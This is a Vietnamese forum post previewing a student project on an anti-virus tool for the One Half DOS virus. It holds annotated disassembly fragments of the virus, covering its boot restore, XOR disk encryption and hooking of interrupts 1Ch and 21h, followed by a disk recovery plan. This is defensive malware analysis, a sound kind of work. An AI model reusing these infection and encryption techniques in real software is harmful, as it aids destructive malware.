TOCDUOIGA_9X
New Member
Download miễn phí Đồ án Thiết kế chương trình chống virus One Half
Kiểm tra sự hiện diện của virus trong bộ nhớ trong có thể tiến hành bằng hai cách:
Cách thứ nhất là kiểm tra mã nhận biết của virus tại địa chỉ xác định trong bộ nhớ. Cách này có một nhược điểm là không phát hiện được sự tồn tại trong bộ nhớ trong của những virus mới mà mã nhận biết không có trong CSDL của chương trình kiểm tra. Hầu hết các chương trình chống virus hiện nay dùng theo cách này.
Cách thứ hai là làm theo cách mà một số virus đã làm để kiểm tra sự tồn tại của mình trong bộ nhớ: Dùng ngắt 21h với chức năng đặc biệt để kiểm tra. Qua phân tích virus One Half trong phần trên, chúng ta thấy nó cũng làm như vậy: Sử dụng ngắt 21h với ax=4B53h, nếu giá trị trả về ax=454Bh thì hiện nay One Half đang tồn tại trong bộ nhớ. Cách này cũng có một nhược điểm: Thời gian dành cho việc kiểm tra này bị tăng so với cách trên, đồng thời không phải virus nào cũng sử dụng cách kiểm tra này.
http://cloud.liketly.com/flash/edoc/jh2i1fkjb33wa7b577g9lou48iyvfkz6-swf-2014-01-07-do_an_thiet_ke_chuong_trinh_chong_virus_one_half.W0Mr9NPRSI.swf /tai-lieu/de-tai-ung-dung-tren-liketly-53821/
Để tải bản Đầy Đủ của tài liệu, xin Trả lời bài viết này, Mods sẽ gửi Link download cho bạn sớm nhất qua hòm tin nhắn.
Ai cần download tài liệu gì mà không tìm thấy ở đây, thì đăng yêu cầu down tại đây nhé:
Nhận download tài liệu miễn phí
Tóm tắt nội dung tài liệu:
x01D5 retf
Như vậy, chúng ta thấy công việc chủ yếu của đoạn mã này là:
- Đọc Master Boot cũ (lưu tại sector ngay trước 7 sector của virus One Half) vào địa chỉ 0:7C00h.
- Đặt lại hệ thống địa chỉ cho các vector ngắt 13h và ngắt 1Ch.
- Chuyển điều khiển tới 0:7C00h, để cho máy khởi động bình thường.
Để khỏi bỏ sót, chúng ta tìm hiểu nốt loc_10 và sub_5. Loc_10 là vị trí được nhảy tới trong trường hợp đọc/ghi đĩa có lỗi.
loc_10:
01D6 xor ah,ah
01D8 push ax
01D9 int 13h
01DB pop ax
loc_11:
01DC inc dh
01DE mov ah,dh
01E0 pop dx
01E1 push dx
01E2 cmp ah,dh
01E4 ja loc_7
01E6 mov dh,ah
01E8 mov ah,2
01EA push ax
01EB int 13h
01ED pop ax
01EE call sub_38
01F1 inc ah
01F3 push ax
01F4 int 13h
01F6 pop ax
01F7 jmp loc_11
loc_12:
01F9 pop dx
01FA inc si
01FB jmp loc_7
Qua phân tích đoạn mã phía trước, nhìn vào đoạn mã này, chúng ta dễ dàng thấy công việc mà nó đảm nhiệm là:
- Reset lại đĩa (int 13h, ah=0)
- Xuất phát từ vị trí mặt đĩa gây lỗi (trong dh) cộng thêm 1 trở về sau cho đến hết mặt đĩa lớn nhất, tiến hành mã hoá thông tin (để trả lại thông tin ban đầu), tăng giá trị của si rồi quay lại loc_7 như đã phân tích ở phần trên.
sub_5 proc near
0297 mov ah,4
0299 int 1Ah ; read date cx=year, dx=month/day
029B jc loc_ret_15 ; Nhảy nếu đồng hồ bị hỏng
029D test dl,3
02A0 jnz loc_ret_15 ; Nhảy nếu không là ngày 10,20,30
02A2 test ds:[0DD6h],1 ; offset ô nhớ 0E03h
02A8 jnz loc_ret_15 ; Nhảy nếu bit cuối của [0DD6] khác 0
02AA mov cx,31h
02AD mov si,239h
; Offset của db 'Dis is one half',0Dh,0Ah,50h,
; db 'Pres any key to continue'
02B0 mov ah,0Fh
02B2 int 10h
02B4 mov bl,7
02B6 mov ah,0Eh
loc_loop_14:
02B8 lodsb
02B9 int 10h
02BB loop loc_loop_14
02BD xor ah,ah
02BF int 16h
loc_ret_15:
02C1 retn
sub_5 endp
Như vậy công việc của sub_5 chỉ là: Khi các điều kiện được hội đủ, hiện trên màn hình dòng chữ thông báo tên của virus.
Bây giờ chúng ta quan tâm tới sub_38 (offset 0E56), modul mã hoá dữ liệu. Nhớ lại rằng trước đây, virus đã thực hiện sub_3, chuyển 15Dh byte từ 772h đến DD8h (từ offset 79Fh đến offset 0E05h), vì vậy đoạn mã này thực chất là ở 7C3h (offset 7F0h).
sub_38 proc near
0E56 push ax
0E57 push bx
0E58 push cx
0E59 mov al,0 ; Đã được thay bằng số sector/track
0E5B mov bx,0 ; Đã được thay bằng 7E00h
loc_148:
0E5E mov cx,100h
loc_loop_149:
0E61 xor word ptr es:[bx],678E
0E66 inc bx
0E67 inc bx
0E68 loop loc_loop_149
0E6A dec al
0E6C jnz loc_148
0E6E pop cx
0E6F pop bx
0E70 pop ax
0E71 retn
sub_38 endp
Như vậy, modul này tiến hành mã hoá toàn bộ dữ liệu trên số sector đọc được trong buffer 0:7E00h bằng phép toán XOR với giá trị word tại địa chỉ [0E64h], chính là giá trị word tại địa chỉ 07D1h trong phần thân của virus. Qua kiểm tra, tui thấy giá trị này trên các máy khác nhau là khác nhau, và trên cùng một máy, tại các thời điểm nhiễm khác nhau cũng khác nhau. Sau này, khi nghiên cứu về cơ chế nhiễm, tui mới biết rằng, giá trị được ghi ở đây là giá trị của biến đếm thời gian (tại địa chỉ 0:46Ch) mà virus lấy đưa vào đó khi lây nhiễm.
6. Mô tả công việc khôi phục Master Boot và phần dữ liệu đã bị mã hoá.
Qua tất cả các phân tích trên đây, chúng ta đã có cơ sở để phục hồi lại Master Boot và phục hồi lại các dữ liệu đã bị mã hoá trên đĩa khi máy bị nhiễm virus One Half. Các công việc chính có thể mô tả như sau:
- Đọc Master Boot (Side 0, Cyl 0, Sector 1) để lấy giá trị của Cylinder cuối cùng (tính từ trong ra) đã bị virus One Half mã hóa dữ liệu.
- Đọc bảng tham số đĩa cứng để lấy các tham số của đĩa cứng: Số đầu đọc ghi, số cylinder, số sector/track.
- Đọc sector thứ tư tính từ cuối lại trên side 0, cylinder 0, lấy giá trị word tại offset 1D1h, đó là toán hạng thứ hai trong phép toán mã hoá XOR.
- Tính từ cylinder trong cùng đã bị One Half mã hoá trở đi (trừ Cylinder cuối cùng), tiến hành đọc từng track, thực hiện mã hoá ngược lại (giải mã) rồi ghi trở lại vào đĩa.
- Đọc và trả lại Master Boot ban đầu tại vị trí virus One Half cất giấu.
7. Khảo sát ngắt 13h, ngắt 21h và ngắt 1Ch do virus One Half chiếm.
a. Ngắt 1Ch.
Như phần trên chúng ta đã khảo sát, địa chỉ của ngắt 1Ch được virus One Half đặt là dword CS:1D1h (offset trong chương trình là 1FEh), word đầu cho offset, word sau cho segment, còn địa chỉ ngắt 1Ch ban đầu được lưu vào dword DS:[205h], word đầu cho offset, word sau cho segment (offset trong chương trình là 232h).
Sau đây là đoạn mã của ngắt 1Ch do One Half quản lý:
01FE push ax
01FF push ds
0200 push es
0121 xor ax,ax
0203 mov ds,ax
0205 les ax,dword ptr ds:[0084h]
0209 mov word ptr cs:[0DE8h],ax ; offset trong ch.trình 0E15h
020D mov ax,es
020F cmp ax,800h
0212 ja loc_13
0214 mov word ptr cs:[0DEAh],ax ; offset trong ch.trình 0E17h
0218 les ax,dword ptr cs:[205h] ;
021D mov ds:[0070],ax
0220 mov ds:[0072],es
0224 mov word ptr ds:[0084h],0C5D
022A mov word ptr ds:[0086h],cs
loc_13:
022E pop es
022F pop ds
0230 pop ax
0231 jmp far ptr xxxx:xxxx
Công việc của đoạn mã này có thể mô tả như sau:
- Lấy địa chỉ ngắt 21h trong bảng vector ngắt đặt vào ES:AX
- Đặt địa chỉ offset của int 21h trong AX vào [0DE8h] (offset trong chương trình là 0E15h)
- Nếu địa chỉ đoạn trong ES>800h thì nhảy tới kết_thúc.
- Ngược lại thì lưu giá trị địa chỉ đoạn này vào [0DEAh] (offset trong chương trình là 0E17h).
- Lấy lại địa chỉ cũ của int 1Ch đã được lưu tại [205h] đẩy trở lại vào địa chỉ của nó trong bảng vector ngắt.
- Đặt địa chỉ ngắt 21h: offset 0C5Dh (0C8Ah trong chương trình), segment CS=9F00h.
- Kết thúc: Là một lệnh nhảy xa. Chú ý rằng tại offset 232h trong chương trình đã bị thay bằng offset:segment của int 1Ch cũ, cho nên đây là lệnh gọi phục vụ ngắt 1Ch cũ ra để làm việc.
Trong đoạn mã này có một chút tế nhị mà chúng ta không thể không nói tới. Tại sao lại phải kiểm tra giá trị trong thanh ghi ES, nếu nó <=800h thì mới tiến hành cài đặt? Bởi vì sau khi virus càixong, một lúc lâu nữa DOS mới được tải vào, và khi đó nó mới tiến hành cài đặt địa chỉ ngắt 21h trong bảng vector ngắt (và tất nhiên segment của địa chỉ này <=800h).
Điều này giải thích tại sao lệnh đầu tiên trong phần thân của virus (lệnh 100h) lại đổ giá trị của thanh ghi CS=9F00h vào địa chỉ đoạn của ngắt 21h trong bảng vector ngắt. Như vậy việc kiểm tra của virus nhằm đảm bảo rằng nó chỉ chiếm ngắt 21h sau khi DOS đã cài đặt xong hệ thống ngắt của mình.
Có thể thấy tóm lại một điều rằng, việc chiếm ngắt 1Ch của virus One Half chỉ là tạm thời, nhằm mục đích thông qua nó chiếm lấy ngắt 21h. Sau khi cài đặt xong ngắt 21h của mình, virus One Half trả lại ngắt 1Ch mà không chiếm nữa. Sau nữa, địa chỉ cũ của ngắt 21h cất tại dword 0DE8h (offset trong chương trình là 0E15h), địa chỉ mới của int 21h là CS:0C5Dh (offset trong chương trình là 0C8Ah).
Thật là một ý tưởng hay! Trước khi nghiên cứu ngắt 1Ch của virus One Half, thực ra tui cũng chưa biết làm thế nào để nó chiếm cho được ngắt 21h, bởi vì nó lên trước DOS cơ mà.
b. Ngắt 21h.
Địa chỉ offset của ngắt 21h là 0C5Dh (offset trong chương trình là 0C8Ah).
Sau đây là mã của chúng:
0C8A pushf
0C8B sti
0C8C cmp ah,11h
0C8F je loc_125
0C91 cmp ah,12h
0C94 jne loc_128
loc_125:
0C96 jmp short $+2
0C98 push bx
0C99 push es
0C9A push ax
0C9B mov ah,2Fh
0C9D call sub_25 ; (091Fh...